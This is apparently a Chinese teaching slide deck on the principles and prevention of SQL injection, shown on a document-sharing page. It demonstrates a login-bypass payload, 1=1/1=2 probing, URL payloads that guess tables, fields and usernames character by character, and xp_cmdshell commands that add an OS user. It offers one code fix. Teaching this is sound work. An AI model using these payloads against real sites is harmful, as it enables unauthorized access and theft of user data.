SQL注入的原理及防范课件_第1页
SQL注入的原理及防范课件_第2页
SQL注入的原理及防范课件_第3页
SQL注入的原理及防范课件_第4页
SQL注入的原理及防范课件_第5页
已阅读5页,还剩16页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

SQL注入的原理及防范梁兴建一、SQL注入简介程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。一、SQL注入简介

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。一、SQL注入简介

但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。必须根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。二、登录验证不足

找到登陆页面,在其登陆ID与密码输入处测试这些缺陷是否存在,首先加入某些特殊的字符标记,输入如:‘、and……之类的SQL标记。如果没有进行检测,而直接运行SQL语句,说明有机会进行注入。二、登录验证不足

当确认有机会进行注入的时候,可以在输入框中加入or语句,这样可能会有意外的收获。Admin’or3>2or‘,这就是我们需要在文本框中输入的内容,这样能达到什么效果呢?下面,通过一个网页来测试:二、登录验证不足

先来看login.asp文件

以下内容为程序代码:……

<formaction="loging.asp"method="post"name="login">

用户名<inputtype=textname=namevalue=""maxlength="20">

密码<inputtype=passwordname=pwdvalue=""maxlength="20">

<inputtype=submitname=btvalue="确认">

<inputtype=resetname=btvalue="重置">

</form>

……二、登录验证不足'关于身份验证

sql="select*fromuserwherename='"&name&“'andpwd='"&pwd&“'"我们在用户名位置输入【admin'or3>2or'】,在密码区输入【11】。看看sql会变成什么:

以下内容为程序代码:sql=select*fromuserwherename='admin'or3>2or''andpwd='11'我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。二、登录验证不足防范方法(2)过滤loging.asp文件本身验证的逻辑就是错误的,应该修改为:……

sql="select*fromuserwherename='"&name&"'"

rs.opensql,conn_data,1,1

'身份验证过程

ifnotrs.eofthen

ifpwd=rs("pwd")then

session("login")="ok"

response.redirect"/default.asp"

else

response.redirect"login.asp"

……三、从网页传递参数中注入

这是SQL注入中最常见的方法,并且根据该注入原理有很多SQL注入工具产生。同样,首先,应测试这些缺陷是否存在,首先加入某些特殊的字符标记,输入如:‘、and……之类的SQL标记。如果没有进行检测,而直接运行SQL语句,说明有机会进行注入。三、从网页传递参数中注入

从参数中注入,准确的测试方法应该是:①/showdetail.asp?id=49

②/showdetail.asp?id=49and1=1

③/showdetail.asp?id=49and1=2这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:可以注入的表现:①正常显示(这是必然的,不然程序就有错)

②正常显示,内容基本与①相同

③提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了onerrorresumenext)不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。三、从网页传递参数中注入

(1)猜表名:http://www.***.com/show.asp?id=50and

0<>(selectcount(*)fromtablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。

(2)猜字段名:

http://www.***.com/show.asp?id=50and

0<>(selectcount(fieldname)fromtablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。

三、从网页传递参数中注入

(3)在获得tablename和fieldname以后,就可以更进一步了。

比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:

a、http://www.***.com/show.asp?id=50and0<>

(selectcount(*)fromuserwhereid>1000)

粗略判断用户数量

三、从网页传递参数中注入b、http://www.***.com/show.asp?id=50and1=

(selectcount(*)fromuserwhereid=1andlen(name)=10)

判断id为1的用户的用户名长度是否为10

c、http://www.***.com/show.asp?id=50and1=

(selectcount(*)fromuserwhereid=1andmid(name,n,1)='a')

判断id为1的用户的用户名的第n位是否为a

三、从网页传递参数中注入另外,如果是SQLServer,我们可以通sysobjects的操作,获取sa的密码,一旦得到sa的权限,就可以执行xp_cmdshell了,那么相当于可以轻易的取得操作服务器的权限。如execmaster..xp_cmdshell“netusernamepasseord/add”execmaster..xp_cmdshell“netlo

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论